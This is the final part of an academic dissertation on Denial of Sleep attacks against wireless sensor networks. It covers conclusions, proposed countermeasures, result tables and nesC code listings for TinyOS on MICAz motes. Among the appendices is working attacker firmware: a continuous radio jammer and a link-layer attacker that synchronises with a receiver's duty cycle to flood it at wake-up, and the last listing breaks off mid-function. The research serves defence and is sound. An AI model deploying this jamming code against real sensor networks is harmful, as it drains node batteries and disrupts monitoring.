During the requirements stage, requirements for the model application and the Denial of Sleep 
attacks had to be made in order to proceed with the design of the experimental software. At this 
stage, it was realised that some of the requirements stated in the original objectives were not 
feasible. Specifically, the S-MAC and T-MAC protocols were not implemented for the MICAz 
platform. Because of the requirements stage, it was possible to minimise  the consequences of the 
problems and find alternative requirements.

Furthermore, the design of the model application and the design of the attacks allowed the 
implementation of a well-defined experimental set. The design of the experimental software 
supported the abstraction of problems which could had made the experiments far more complex. 
With the abstraction provided in the design, it was possible to maintain a clear path throughout the 
implementation stage, and therefore allow to achieve the goals of the experiments.

In the testing stage, problems in the design and implementation had been found and had been dealt 
with. Due to the problems, there was an evolutionary development until the final experimental 
software.

Overall, the Software Engineering process provided the means for implementing the software 
which was necessary for the experiments and the results of this dissertation. 
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 6 CONCLUSION
The overall aim of this dissertation is to reveal the effectiveness of Denial of Sleep attacks against 
applications in wireless sensor networks. The results and the evaluation obtained from the 
experiments show that several strategies for Denial of Sleep attacks can optimally and effectively 
reduce the network's lifetime. From this dissertation, it is concluded that Denial of Sleep attacks 
are a critical thread for applications which use wireless sensor networks and such a thread should 
not be ignored. 

The new objectives for the dissertation reflected the original objectives, and the overall aim of the 
dissertation remained unchanged. It was possible to design and implement a model application 
based on the requirements. Then, several types of Denial of Sleep attacks were designed and 
implemented as stated in the objectives. With the success of meeting the objectives, it was possible 
to carry out experiments in order to produce results and evaluate the effectiveness of Denial of 
Sleep attacks in wireless sensor networks. 

 6.1 What has been learnt
The research that has been made contributed for identifying the correct requirements for the 
experiments and also for giving a better understanding of several MAC protocols which have been 
designed for wireless sensor networks. Moreover, different strategies of Denial of Sleep attacks 
were studied and several vulnerabilities in the MAC protocols were identified.

Furthermore, it has been learnt that organisation and project planning contributes for the 
management of a large project. During the project's lifetime, a number of problems were 
encountered and without the project plan, it would be difficult to find alternative solutions to carry 
on with the experiments. With a Software Engineering process it was possible to design and 
implement a well-defined experimental set for producing results. The software was divided into 
modules, which helped to reduce large problems into smaller tasks.

 6.2 Problems encountered
As mentioned in the introduction, it was impossible to follow the original objectives in the 
proposal of this dissertation. The original objectives included three MAC protocols of wireless 
sensor networks to be incorporated into the model application. The objectives included the S-MAC 
and the T-MAC protocols, which  are early protocols designed for older platforms. It was 
impossible to carry out the dissertation using the same protocols, therefore newer protocols had to 
be identified.

The B-MAC protocol described in the Background chapter was provided in TinyOS (version 1.x), 
but LPL functionality was not implemented. Without the LPL functionality, it was impossible to 
continue with the experiments, since Denial of Sleep attacks target the LPL functionality in the 
MAC protocol. The B-MAC+ protocol was implemented with LPL functionality in TinyOS 
(version 1.x), but the platform which was supported was the TelosB mote. The platforms available 
for the project were the MICAz motes. Therefore, it was impossible to use the B-MAC+ 
implementation for TinyOS.

Fortunately, it was discovered that a MAC protocol with LPL functionality was implemented in 
TinyOS (version 2.x). The MAC protocol supported the MICAz platform, therefore it was possible 
to use this implementation. An update of the TinyOS installation was required, since the original 
version which was used was the TinyOS version 1.x.

The MAC protocol in TinyOS (version 2.x) was a recently developed protocol, which was still in 
progress during the experiments. Since the protocol was recently implemented, there was no 
documentation for the design. Several queries have been made to the TinyOS mailing list in order 
to collect information about the protocol's design.

The idle listening attack which has been described in chapter 3 has not been implemented due to 
the dissertation deadline. The attack would have shown significant effects on the receiver nodes in 
wireless sensor networks.
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 6.3 Future work
Several countermeasures against Denial of Sleep attacks are identified in this chapter and presented 
as future work. Some of the countermeasures are already designed and implemented, as the 
frequency hopping approach and the GMAC protocol. Randomised Low Power Listening and the 
Byzantine approach have not been taken into consideration before as countermeasures for Denial 
of Sleep attacks. Future work could be carried out based on this dissertation in order to build 
defence mechanisms against Denial of Sleep attacks.  

Each countermeasure in the following sections have various trade-offs and  may be selected 
according to requirements of protocols or applications. 

 6.3.1 Randomised Low Power Listening

The MAC protocols which use Low Power Listening belong to the family of asynchronous 
protocols. Often, asynchrony is preferred due to the requirements of the application. A requirement 
that may need a asynchronous protocol is the decoupling of sensor nodes in a wireless sensor 
network. Additionally, the synchronisation of the protocol may be an overhead for the sensor 
nodes. Therefore, a countermeasure should be designed that will require no synchronisation 
between the nodes, thus keeping a asynchronous protocol in place.

A set of Denial of Sleep attacks are targeting the Low Power Listening functionality that exist in 
MAC protocols. In a link layer Denial of Sleep attack the main vulnerability is the static sleeping 
periods of the receivers. A static sleeping period allows an attacker to detect and synchronise with 
a receiver and cause frame collisions when a communication is about to happen. Moreover, the 
attacker can synchronise all the receivers in range, due to the fact that sleeping periods are static 
and can be manipulated. 

The X-MAC protocol introduces the idea of an adaptive sleeping period, where the parameters of 
the LPL change according to the traffic overhead. An adaptive LPL functionality could be 
considered as an obstacle to a link layer type of attack, but nevertheless the attacker may still 
exploit vulnerabilities in LPL and continue an effective Denial of Sleep attack.

A randomised sleeping period would prevent an attacker from detecting the wake-up checks of the 
receivers. The approach of randomised LPL is to chose a random time-period at each duty cycle. 
This countermeasure could force an attacker to fall back to a physical layer strategy which could 
be infeasible.  

Randomised LPL is rather a simple countermeasure, but has a few limitations. Random sleeping 
periods cannot be chosen at any range. The first reason is that the lower periods are not efficient 
for the LPL scheme. Secondly, the upper limit of the sleeping period must be pre-agreed, as it was 
in the case with the static duty cycling. Given the limitations, the sleeping periods are not purely 
random any more. Nevertheless, a good design of this approach can maximise the randomness of 
choice within a finite range of numbers and concurrently allow efficient energy consumption, 
using a probabilistic randomisation function. 

Moreover, a randomised LPL functionality can be chosen as an alternative, only at periods when a 
Denial of Sleep attack is detected. A Denial of Sleep attack which uses frame collisions can be 
easily detected from a receiver node. If at every wake-up check the receiver node receives invalid 
frames, then the randomised LPL functionality could be chosen to try and avoid the attack. 
Certainly, randomised LPL functionality can not avoid radio jamming attacks, which disrupt the 
channel at all the time. Secondly, arbitrary interference from nearby devices could be detected as 
false positives and a randomised LPL may try to avoid interference which is not caused by an 
attack.

Randomised LPL has been introduced before, but Denial of Sleep attacks were not taken into 
consideration [14]. A more specific approach of randomised LPL which will consider Denial of 
Sleep attacks could be devised as a countermeasure. 
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 6.3.2 Frequency hopping

Frequency hopping is the method of changing frequencies between transmissions in a wireless 
network. The receiver and the sender nodes agree on a sequence of frequencies and they change 
their frequencies accordingly. This method provides resistance against any kind of jamming or 
interference, which is used in Denial of Sleep attacks. Furthermore, frequency hopping  allows 
more bandwidth to be used for the communication.

The main challenge of frequency hopping is the required strict synchronisation between the 
receiver and the sender nodes. In case the nodes are not synchronised, the communication will 
break. 

Moreover, all the nodes in a wireless network must agree on the sequence of frequencies that will 
be used at certain periods of time. This agreement can be done dynamically during the network's 
lifetime or can be pre-defined in the execution code. If the agreement is not done secretly, then an 
attacker node can steal the information and make use of the frequencies at the right periods of time. 
Consequently, encryption of frames may be a requirement for frequency hopping. Synchronisation 
and encryption are overheads for the energy supply in wireless sensor networks. 

 6.3.3 The GMAC protocol 

The Gateway Media Access Control protocol (GMAC) has been introduced as a possible defence 
against Denial of Sleep attacks [19]. In the GMAC protocol, the network is divided into clusters, 
where each cluster has a gateway. Inside the cluster, all the nodes are only allowed to communicate 
with the gateway and each gateway is only allowed to communicate with the cluster nodes and 
other gateway nodes. This way, an attacker node is considered as an outsider and may be ignored 
by the rules of the protocol. An attacker node will have to authenticate with a gateway node in 
order to be able to communicate with other nodes inside a cluster. The authentication procedure 
prohibits an attacker node to gain information about the communication protocol, thus not allowing 
a link layer attack to be performed. Furthermore, any transmissions of the attacker node will be 
rejected immediately from the cluster nodes.

The GMAC protocol may still be vulnerable to Denial of Sleep attacks which use physical layer 
radio jamming, Nevertheless, a link layer attack will be much less effective against a clustered 
network. However, the GMAC protocol requires synchronisation and encryption of frames which 
could be an overhead.

 6.3.4 The Byzantine fault tolerance

The approach of Byzantine fault tolerance uses techniques which allow to overcome arbitrary 
faults in distributed systems. An attacker which deploys a Denial of Sleep attack, if can be 
detected, may be considered as a faulty node inside a network. Several algorithms have been 
introduced that use the the Byzantine fault tolerance approach in order to overcome faults in 
asynchronous or synchronous networks. 

The Byzantine fault tolerance may be considered as a countermeasure for Denial of Sleep attacks, 
and further for any arbitrary faults that may occur in a distributed system, such as in wireless 
sensor networks.
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APPENDIX A

Microseconds Counter
In order to be able to measure in microseconds, a high resolution counter has been used, provided 
by the TinyOS libraries. The counter did not have an accurate microsecond granularity. With the 
following specifications it was possible to get an accuracy of microseconds granularity for the 
results:

The counter specification states a frequency at: CPU frequency / 8.

The MICAz platform specification states a CPU frequency at 7.37MHz

7.37MHz / 8 =  7 370 000 / 8 = 921 250 ticks per second (921.25 KHz ), 1 microsecond = 1MHz

The error percentage is: 8 / 7 370 000 = 1.0854816825-e6%, or

E = 1 000 000  / 921 250 =1.0854816825

Therefore, all presented measurement results are multiplied with E to have the granularity of 
microseconds.

Frame structures 
Frame headers

AM Destination address Message length Group id Handler

xx xx xx xx xx xx xx xx

Sender's frame structure 

Frame headers Node id Temperature Packet id

byte xx xx xx xx xx xx

Sender's results frame structure

Frame headers Node id Packet id Radio activity Total radio 
time 

was_acked

byte xx xx xx xx xx xx xx xx xx xx xx xx xx

Attacker frame  structure

Frame headers Node id Junk data Junk data

byte xx xx xx xx xx xx

Attacker Results structure 

Frame headers Node id Total radio activty

byte xx xx xx xx xx xx
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APPENDIX B
Model application results

Experiment 1 Sender radio activity Experiment 2 Sender radio activity
Normal resultsWith error correction Normal resultsWith error correction

86759 94175.31 699057 758813.57
344735 374203.53 33897 36794.57
600022 651312.89 283777 308034.74
852718 925609.77 540600 586811.4
192389 208834.74 797968 866179.65
443613 481533.79 127336 138220.9
697332 756941.11 380192 412691.45
31564 34262.14 636984 691434.46

293380 318458.62 888400 964341.93

Physical layer radio jamming attacks results

Attack 1 Sender radio activity Experiment 2 Sender radio activity
Results With error correction Results With error correction

1801698 1955710.18 1809604 1964291.99
1803554 1957724.83 1801759 1955776.39
1809715 1964412.48 1804440 1958686.57
1810380 1965134.33 1806290 1960694.71
1812261 1967176.12 1810251 1964994.3
1801193 1955162.01 1811973 1966863.5
1803768 1957957.12 1811743 1966613.84
1802615 1956705.56 1807097 1961570.69
1802414 1956487.38 1160603 1259813.3

Link layer jamming attacks results

Experiment 1 Sender radio activity Experiment 2 Sender radio activity
Results With error correction Results With error correction

1803331 1957482.77 1772779 1924319.13
1813321 1968326.73 1805263 1959579.92
1812240 1967153.32 1805070 1959370.42
1800577 1954493.35 1811629 1966490.09
1173117 1273397.01 797676 865862.69
1804611 1958872.18 1802186 1956239.89
703018 763113.16 1806377 1960789.15
122541 133016.01 335881 364592.67

1802999 1957122.39 1801383 1955368.25
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APPENDIX C
Model application code listing

Sender.h

/** Definitions for the model application

**/

#ifndef SENDER_H

#define SENDER_H

#define LOW_POWER_LISTENING //use Low Power Listening in link layer

//Sender definitions

#define SENDER_ID 3 //Sender ID

#define TIMER_PERIOD_MILLI 5000 //send a packet every n milliseconds

#define AM_TYPE 5

//Receiver definitions

#define RECEIVER_ID 2 //Receiver ID

//duty cycle could be agreed using metaheaders, but for simplicity

//it's defined here

#define RECEIVER_DUTY_CYCLE 1000//the Receiver's duty cycle in milliseconds

//Model application values

#define BASE_STATION_ID 1

#define NORMAL_TEMPERATURE 25

#define EXPLOSION_TEMPERATURE 50

//structure of the model message to be sent

//nx signifies external type (endianess)

typedef nx_struct SenderMsg

{

    nx_uint16_t node_id;

    nx_uint16_t temperature;

    nx_uint16_t packet_id;

}SenderMsg;
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//structure of the results messages to be sent for analysis

typedef nx_struct ResultMsg

{

    nx_uint16_t node_id;

    nx_uint16_t packet_id;

    nx_uint32_t radio_activity;

    nx_uint32_t total_time;

    nx_bool was_acked;

}ResultMsg;

#endif

SenderAppC.nc

#include <Timer.h>

#include "Sender.h"

configuration SenderAppC {}

implementation

{

    components MainC,LedsC,SenderC;

    components new TimerMilliC() as PacketsTimer; //generic timer

    components new TimerMilliC() as ResultsTimer;

    components CounterMicro32C;

    //component which provides interfaces for the radio communication

    //with LPL functionality

    components CC2420ActiveMessageC as Lpl;

    SenderC.Boot -> MainC.Boot;

    SenderC.Leds -> LedsC.Leds;

    SenderC.PacketsTimer -> PacketsTimer;

    SenderC.ResultsTimer -> ResultsTimer;

    SenderC.RadioActivityCounter -> CounterMicro32C.Counter;

    //radio configuration

    SenderC.Packet -> Lpl.Packet;

    SenderC.PacketAcknowledgements -> Lpl.PacketAcknowledgements;

    SenderC.AMPacket -> Lpl.AMPacket;

    SenderC.AMSend -> Lpl.AMSend[AM_TYPE];

    SenderC.AMControl -> Lpl.SplitControl;

    SenderC.LowPowerListening -> Lpl.LowPowerListening; }
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SenderC.nc

#include <Timer.h>

#include "Sender.h"

module SenderC 

{

    uses interface Boot;

    uses interface Leds;

    uses interface Timer<TMilli> as PacketsTimer;

    uses interface Timer<TMilli> as ResultsTimer;

    

    //a counter that ticks at 7.37MHz / 8 = 1MHz - err

    uses interface Counter<TMicro,uint32_t> as RadioActivityCounter;

    uses interface Packet;

    uses interface AMPacket;

    uses interface PacketAcknowledgements;

    uses interface AMSend;

    uses interface SplitControl as AMControl;

    uses interface LowPowerListening;

}

implementation

{

    /*initiliaze variables */

    uint16_t temperature;

    uint16_t packet_id = 0;

    bool was_acked = FALSE;

    uint32_t radio_activity_array[10];

    uint16_t was_acked_array[10];

    

    // variables for measuring time

    uint32_t t1=0;

    uint32_t t2=0;

    uint32_t i1=0;

    uint32_t i2=0;

    bool busy = FALSE;

    message_t pkt;

    message_t *msg = &pkt;

    /**/
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    event void Boot.booted()

    {

  i1 = call RadioActivityCounter.get();

        call AMControl.start(); //radio controller

    }

    //once the radio controller has started up successfully, start up the 
timer

    //to start sending packets 

    event void AMControl.startDone(error_t err)

    {

        if(err == SUCCESS)

            call PacketsTimer.startOneShot(TIMER_PERIOD_MILLI);

        else

            call AMControl.start();

    }

    event void PacketsTimer.fired()

    {

        //led1 is green: identifies the sender

        call Leds.led1Toggle();

        //simulate an explosion every 3 packets 

        if(!(packet_id % 3))

            temperature = EXPLOSION_TEMPERATURE;

        else

            temperature = NORMAL_TEMPERATURE;

        //check the transceiver

        if(!busy)

        {

            //initialize our packet

            SenderMsg* pckt = (SenderMsg*) (call 
Packet.getPayload(&pkt,NULL));

            pckt->node_id = SENDER_ID;

            pckt->temperature = temperature;

            pckt->packet_id = packet_id;

 //store results        

            radio_activity_array[packet_id] = t2 - t1;

            was_acked_array[packet_id] = was_acked;

            //request ACK for the packet

            call PacketAcknowledgements.requestAck(msg);
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//tell the sender whats the duty cycle at the receiver    

            call LowPowerListening.setRxSleepInterval(&pkt, 
RECEIVER_DUTY_CYCLE);

            //send the packet

            t1 = call RadioActivityCounter.get();

            if(call AMSend.send(RECEIVER_ID, &pkt, sizeof(SenderMsg)) == 
SUCCESS)

                busy = TRUE;

    packet_id++;

        }

// send 10 packets then send the results

if(packet_id < 10)

    call PacketsTimer.startOneShot(TIMER_PERIOD_MILLI);

else

{

    i2=call RadioActivityCounter.get();

    packet_id = 0;

    call ResultsTimer.startOneShot(1000);

}

    

    }

    //event handler for sendDone()

    event void AMSend.sendDone(message_t* msgt, error_t err)

    {

        t2=call RadioActivityCounter.get();

        if(msgt == &pkt && call PacketAcknowledgements.wasAcked(msgt))

        {

            busy = FALSE;

            was_acked=TRUE;

        }

        else if (msgt == &pkt)

        {

            call Leds.led0Toggle();

            was_acked=FALSE;

            busy = FALSE;

        }

    }    
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    event void ResultsTimer.fired()

    {

// SEND THE RESULTS IN 10 PACKETS 

ResultMsg* result = (ResultMsg*) (call Packet.getPayload(&pkt,NULL));

result->node_id = SENDER_ID;

result->packet_id = packet_id;

result->radio_activity = radio_activity_array[packet_id];

result->total_time = i2-i1;

result->was_acked = was_acked_array[packet_id];

        

call PacketAcknowledgements.requestAck(msg);

call AMSend.send(BASE_STATION_ID,&pkt,sizeof(ResultMsg));

packet_id++;

        if(packet_id < 10)

    call ResultsTimer.startOneShot(500);

    }

    

    event void AMControl.stopDone(error_t err) {}   

    async event void RadioActivityCounter.overflow(){}

}
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Forwarder.h

/** Definition file for the Forwarder

**/

#ifndef FORWARDER_H

#define FORWARDER_H

#define LOW_POWER_LISTENING //use Low Power Listening in link layer

//Sender definitions

#define SENDER_ID 3 //Sender ID

#define TIMER_PERIOD_MILLI 5000 //send a packet every n milliseconds

#define AM_TYPE 5

//Receiver definitions

#define RECEIVER_ID 2 //Receiver ID

#define RECEIVER_DUTY_CYCLE 1000//the Receiver's duty cycle in milliseconds

//Model application values

#define BASE_STATION_ID 1

#define NORMAL_TEMPERATURE 25

#define EXPLOSION_TEMPERATURE 50

//structure of the model message to be sent

//nx signifies external type (endianess)

typedef nx_struct SenderMsg

{

    nx_uint16_t node_id;

    nx_uint16_t temperature;

    nx_uint16_t packet_id;

}SenderMsg;

//structure of the results messages to be sent for analysis

typedef nx_struct ResultMsg

{

    nx_uint16_t node_id;

    nx_uint16_t packet_id;

    nx_uint32_t radio_activity;

    nx_uint32_t total_time;

    nx_bool was_acked;

}ResultMsg;

#endif
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ForwarderAppC.nc

#include "Forwarder.h"

configuration ForwarderAppC {}

implementation

{

    components MainC,LedsC,ForwarderC;

    components new AMSenderC(AM_TYPE); //generic and parametirized component

    components new AMReceiverC(AM_TYPE);

    components CC2420ActiveMessageC as Lpl;

    

    

    ForwarderC.Boot -> MainC.Boot;

    ForwarderC.Leds -> LedsC.Leds;

    

    //radio configuration

    ForwarderC.Receive -> AMReceiverC;

    ForwarderC.AMSend -> AMSenderC.AMSend;

    ForwarderC.AMControl -> Lpl.SplitControl;

    ForwarderC.LowPowerListening -> Lpl.LowPowerListening;

    ForwarderC.PacketAcknowledgements -> Lpl.PacketAcknowledgements;

}
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ForwarderC.nc

#include "Forwarder.h"

module ForwarderC 

{

uses interface Boot;

uses interface Leds;

uses interface AMSend;

uses interface SplitControl as AMControl;

uses interface Receive;

uses interface LowPowerListening;

uses interface PacketAcknowledgements;

}

implementation

{

bool busy = FALSE;

message_t pkt;

message_t *msg = &pkt;

event void Boot.booted()

{

    call LowPowerListening.setLocalSleepInterval(RECEIVER_DUTY_CYCLE);

    call AMControl.start(); //start the radio controller

}

//retry on failure

event void AMControl.startDone(error_t err)

{

    if(err == SUCCESS)

;//do nothing

    else

call AMControl.start();

}
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//receive messages

event message_t* Receive.receive(message_t* msg, void* payload, uint8_t 
len)

{

    SenderMsg* btrmsg = (SenderMsg*)payload;

    btrmsg->node_id = RECEIVER_ID;

    pkt = *msg;

    //call Leds.led1Toggle();

    

    //forward the message

    if(!busy)

    {

call LowPowerListening.setRxSleepInterval(&pkt, 
RECEIVER_DUTY_CYCLE);

call PacketAcknowledgements.noAck(msg);

if(call AMSend.send(BASE_STATION_ID, &pkt,sizeof(SenderMsg)) == 
SUCCESS)

    busy = TRUE;

    }

    return msg;

}

//AmSend.send() event handler for sendDone()

event void AMSend.sendDone(message_t* msg, error_t err)

{

    if(msg == &pkt)

busy = FALSE;

}

event void AMControl.stopDone(error_t err)

{

    //stop everything here

}

}
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Physical layer radio jamming attack code listing

Attacker.h

//definitions for the Attacker

#ifndef ATTACKER_H

#define ATTACKER_H

#define JUNK 123

typedef nx_struct AttackerMsg{

    nx_uint16_t junk1;

    nx_uint16_t junk2;

}AttackerMsg;

#endif

AttackerAppC.nc

#include <Timer.h>

#include "Attacker.h"

configuration AttackerAppC {}

implementation

{

    components MainC,LedsC,AttackerC;

    components ActiveMessageC; //provide SplitControl to start radio 
controller

    components new AMSenderC(JUNK); //generic and parametirized component

    

    AttackerC.Boot -> MainC.Boot;

    AttackerC.Leds -> LedsC.Leds;

    //radio configuration

    AttackerC.Packet -> AMSenderC.Packet;

    AttackerC.AMPacket -> AMSenderC.AMPacket;

    AttackerC.AMSend -> AMSenderC.AMSend;

    AttackerC.AMControl -> ActiveMessageC.SplitControl;

}
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AttackerC.nc

#include <Timer.h>

#include "Attacker.h"

/* module AttackerC

   A simple radio jamming attack:

   We start up the radio and start sending packets one after the other.

   If CCA is disabled there won't be any backoffs so the channel will be

   overtaken from this attack.

*/   

module AttackerC 

{

    uses interface Boot;

    uses interface Leds;

    

    uses interface Packet;

    uses interface AMPacket;

    uses interface AMSend;

    uses interface SplitControl as AMControl;

    /* there is no need to use a Counter here since

       we know this attack is 100% radio activity 

       and no need to set a Timer for the attack

       since we know all packets of the sender will be lost.

    */   

}

implementation

{

    bool busy = FALSE;

    message_t pkt;

    event void Boot.booted()

    {

call Leds.led0On();

        call AMControl.start(); //start the radio

    }
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    //once the radio started up successfully, start sending

    event void AMControl.startDone(error_t err)

    {

        if(err == SUCCESS)

        {

    //construct the packet

    AttackerMsg* pckt = (AttackerMsg*) (call 
Packet.getPayload(&pkt,NULL));

    pckt->junk1 = JUNK;

    pckt->junk2 = JUNK;

            

    //send

            call AMSend.send(JUNK, &pkt, sizeof(AttackerMsg));

        }

        else //radio is not on succesfully, try again

        {

            call AMControl.start();

        }

    }

    //event handler for sendDone()

    event void AMSend.sendDone(message_t* msg, error_t err)

    {

//resend

call AMSend.send(JUNK, &pkt, sizeof(AttackerMsg));

    }

    event void AMControl.stopDone(error_t err)

    {

        //this attacker will not stop until it dies

    }

}
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Link layer jamming attack code listing

Attacker.h

//definitions for the Attacker

#ifndef ATTACKER_H

#define ATTACKER_H

#define JUNK 123

#define ATTACK_TIME 49000 

#define BASE_STATION 1

#define RESYNC_PACKET 10 //resynchronise every x packets

#define RECEIVER_DUTY_CYCLE 1000

#define RECEIVER_ID 2

typedef nx_struct AttackerMsg{

    nx_uint16_t junk1;

    nx_uint16_t junk2;

}AttackerMsg;

#endif
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AttackerAppC.nc

#include <Timer.h>

#include "Attacker.h"

configuration AttackerAppC {}

implementation

{

    components MainC,LedsC,AttackerC;

    components new TimerMilliC() as PacketsTimer; //generic and parametirized 
component

    components new TimerMilliC() as ResultsTimer;

    components new TimerMilliC() as AttackTimer;

    components ActiveMessageC; //provide SplitControl to start radio 
controller

    components new AMSenderC(JUNK);

    components CounterMicro32C; 

    

    AttackerC.Boot -> MainC.Boot;

    AttackerC.Leds -> LedsC.Leds;

    AttackerC.PacketsTimer -> PacketsTimer;

    AttackerC.ResultsTimer -> ResultsTimer;

    AttackerC.AttackTimer -> AttackTimer;

    AttackerC.Counter -> CounterMicro32C;

    //radio configuration

    AttackerC.PacketAcknowledgements -> ActiveMessageC;

    AttackerC.Packet -> AMSenderC.Packet;

    AttackerC.AMPacket -> AMSenderC.AMPacket;

    AttackerC.AMSend -> AMSenderC.AMSend;

    AttackerC.AMControl -> ActiveMessageC.SplitControl;

}
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AttackerC.nc

#include <Timer.h>

#include "Attacker.h"

/*

 This attacker is synchronising with the receiver

 in order to save energy.

 After synchronisation, the attacker sends packets only

 when the receiver is awake (every t time period).

 The energy consumed here is equal to the percentage of the

 duty cycle of the receiver.

*/

module AttackerC 

{

    uses interface Boot;

    uses interface Leds;

    

    uses interface Timer<TMilli> as PacketsTimer;

    uses interface Timer<TMilli> as ResultsTimer;

    uses interface Timer<TMilli> as AttackTimer;

    

    uses interface Packet;

    uses interface AMPacket;

    uses interface AMSend;

    uses interface SplitControl as AMControl;

    uses interface PacketAcknowledgements;

    

    //a counter with granularity 7.37MHz / 8 ~ 1us

    uses interface Counter<TMicro,uint32_t> as Counter;

}

implementation

{

    /* initialization */

    

    void synchronise();

    

    //some flags

    bool STOP=FALSE;

    bool SYNC = TRUE;

    bool ATTACK = FALSE;

    

    message_t pkt;

    message_t pkt2;

    message_t *msg = &pkt;
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    uint8_t packet=0;

    uint8_t resync=0;

    

    //variables for counting radio activity

    uint32_t t1,t2,t3,t4;

    

    typedef nx_struct ResultsMsg{

nx_uint32_t activity;

    }ResultsMsg;

    

    /* end of initialization */

     

    event void Boot.booted()

    {

//ensure timing variables are set to 0

        t1=t2=t3=t4=0;

call Leds.led0On();

//this is how long the attack will last for the experiment

call AttackTimer.startOneShot(ATTACK_TIME);

        call AMControl.start(); //start the radio

    }

    event void AMControl.startDone(error_t err)

    {

        if(err == SUCCESS)

        {

    SYNC=TRUE;

    synchronise(); //synchronise with the receiver

}

        else

            call AMControl.start();

    }

    

    void synchronise()

    {

//construct a message to send to the receiver

AttackerMsg* pckt = (AttackerMsg*) (call Packet.getPayload(&pkt,NULL));

pckt->junk1 = JUNK;

pckt->junk2 = JUNK;

resync=0;
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//request ack for the message so we can synchronise with the ack

call PacketAcknowledgements.requestAck(msg);

    

//send the message

call Leds.led1On();

t3=call Counter.get(); //start counting radio activity

call AMSend.send(RECEIVER_ID, &pkt, sizeof(AttackerMsg));

    }

    event void AMSend.sendDone(message_t* msg, error_t err)

    {

if(SYNC)

{

    call Leds.led1Off();

    t4=call Counter.get(); //stop counting radio activty

    

    //check ACK, and start periodic sending

    if(call PacketAcknowledgements.wasAcked(msg))

    {

SYNC = FALSE;

            //LPL period + approximation 

call PacketsTimer.startOneShot(RECEIVER_DUTY_CYCLE+164); 

    }

    else //failed, try again

synchronise();

}

else{ //we are synchronised: send some packets every 1s+200ms (approx)

      //to block the channel at wake-up periods.

    packet++;

    if(packet<255)

call AMSend.send(JUNK, &pkt, sizeof(AttackerMsg));

            

         else

   {

//done sending for this cycle

call Leds.led1Off();

            //stop counting radio activity

t2+=(call Counter.get()-t1) + (t4-t3); 

t4=t3=0;

   }

}

    }
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    event void PacketsTimer.fired()

    {

//construct the message

AttackerMsg* pckt = (AttackerMsg*) (call Packet.getPayload(&pkt,NULL));

pckt->junk1 = JUNK;

pckt->junk2 = JUNK;

if(STOP)

    return;

//don't request acks for the attack

call PacketAcknowledgements.noAck(msg);

//send packet

packet=0;

call Leds.led1On();

t1=call Counter.get(); //start counting radio activity

call AMSend.send(JUNK, &pkt, sizeof(AttackerMsg));

if(resync++ < RESYNC_PACKET)

    call PacketsTimer.startOneShot(RECEIVER_DUTY_CYCLE + 197); 

else{

    //resynchronise every RESYNC_PACKET to avoid driffting off too much

    SYNC=TRUE;

    synchronise();

}

    }

    

    async event void Counter.overflow()

    {

/* the counter will overflow after 2^32 ticks, 

       * which is more than enough time

 * for this experiment, so there is no need to do anything here.

      */

    }

    

    event void AttackTimer.fired()

    {

signal AMControl.stopDone(1); //stop the attack

    }
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    event void AMControl.stopDone(error_t err)

    {

        ResultsMsg* pckt2 = (ResultsMsg*) (call 
Packet.getPayload(&pkt2,NULL));

pckt2->activity = t2; //t2 is the total radio activity

//stop everything here

STOP=TRUE;

//send the results to base station

call ResultsTimer.startOneShot(10000);

    }

    

    event void ResultsTimer.fired()

    {

//send results

call AMSend.send(BASE_STATION,&pkt2,sizeof(ResultsMsg));

    }

}
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Synchronisation of attacker with all receivers.

Attacker.h

//definitions for the Attacker

#ifndef ATTACKER_H

#define ATTACKER_H

#define JUNK 123

#define ATTACK_TIME 49000 

#define BASE_STATION 1

#define RESYNC_PACKET 10 //resynchronise every x packets

#define RECEIVER_DUTY_CYCLE 1000

#define RECEIVER_ID 2

#define RECEIVER_ID2 4

typedef nx_struct AttackerMsg{

    nx_uint16_t junk1;

    nx_uint16_t junk2;

}AttackerMsg;

#endif
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AttackerAppC.nc

#include <Timer.h>

#include "Attacker.h"

configuration AttackerAppC {}

implementation

{

    components MainC,LedsC,AttackerC;

    components new TimerMilliC() as PacketsTimer; 

    components ActiveMessageC; 

    components new AMSenderC(JUNK);

    components CounterMicro32C; 

    

    AttackerC.Boot -> MainC.Boot;

    AttackerC.Leds -> LedsC.Leds;

    AttackerC.PacketsTimer -> PacketsTimer;

    AttackerC.Counter -> CounterMicro32C;

    //radio configuration

    AttackerC.PacketAcknowledgements -> ActiveMessageC;

    AttackerC.Packet -> AMSenderC.Packet;

    AttackerC.AMPacket -> AMSenderC.AMPacket;

    AttackerC.AMSend -> AMSenderC.AMSend;

    //AttackerC.AMSend2 -> AMSenderC.AMSend;

    AttackerC.AMControl -> ActiveMessageC.SplitControl;

}
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AttackerC.nc

#include <Timer.h>

#include "Attacker.h"

#include <math.h>

/**

 Proof of Concept code: one attacker can synchronise 

 with many receivers. No attack is done here only sync.

**/

module AttackerC 

{

    uses interface Boot;

    uses interface Leds;

    

    uses interface Timer<TMilli> as PacketsTimer;

    

    uses interface Packet;

    uses interface AMPacket;

    uses interface AMSend;

    //uses interface AMSend as AMSend2;

    uses interface SplitControl as AMControl;

    uses interface PacketAcknowledgements;

    

    //a counter with granularity 7.37MHz / 8 ~ 1us

    uses interface Counter<TMicro,uint32_t> as Counter;

}

implementation

{

    /* initialization */

    

    void synchronise();

    

    message_t pkt;

    message_t *msg = &pkt;

    

    //variables for counting time

    uint32_t t1,t2,t3,t4,t5,t6;

    

    /* end of initialization */
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    event void Boot.booted()

    {

//ensure timing variables are set to 0

        t1=t2=t3=t4=t5=t6=0;

call Leds.led0On();

        call AMControl.start(); //start the radio

    }

    event void AMControl.startDone(error_t err)

    {

        if(err == SUCCESS)

    synchronise();

        else

            call AMControl.start();

    }

    void synchronise()

    {

//construct a message to send to the receivers

AttackerMsg* pckt = (AttackerMsg*) (call Packet.getPayload(&pkt,NULL));

pckt->junk1 = JUNK;

pckt->junk2 = JUNK;

    

//request ack for the message so we can synchronise with the ack

call PacketAcknowledgements.requestAck(msg);

    

//send the message

call Leds.led1On();

t3=call Counter.get(); //start counting radio activity

call AMSend.send(RECEIVER_ID, &pkt, sizeof(AttackerMsg));

    }

    

    event void AMSend.sendDone(message_t* msg, error_t err)

    {

    call Leds.led1Off();

    

    if(call PacketAcknowledgements.wasAcked(msg))

    {

t5=call Counter.get();

        call PacketsTimer.startOneShot(RECEIVER_DUTY_CYCLE+164); 

    }

    else //failed, try again

    {

call Leds.led1On();
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call AMSend.send(RECEIVER_ID,&pkt,sizeof(AttackerMsg));

    }

    }

    event void PacketsTimer.fired()

    {

 call AMSend.send(RECEIVER_ID,&pkt,sizeof(AttackerMsg));

    }

    

    async event void Counter.overflow()

    {

    }

    event void AMControl.stopDone(error_t err)

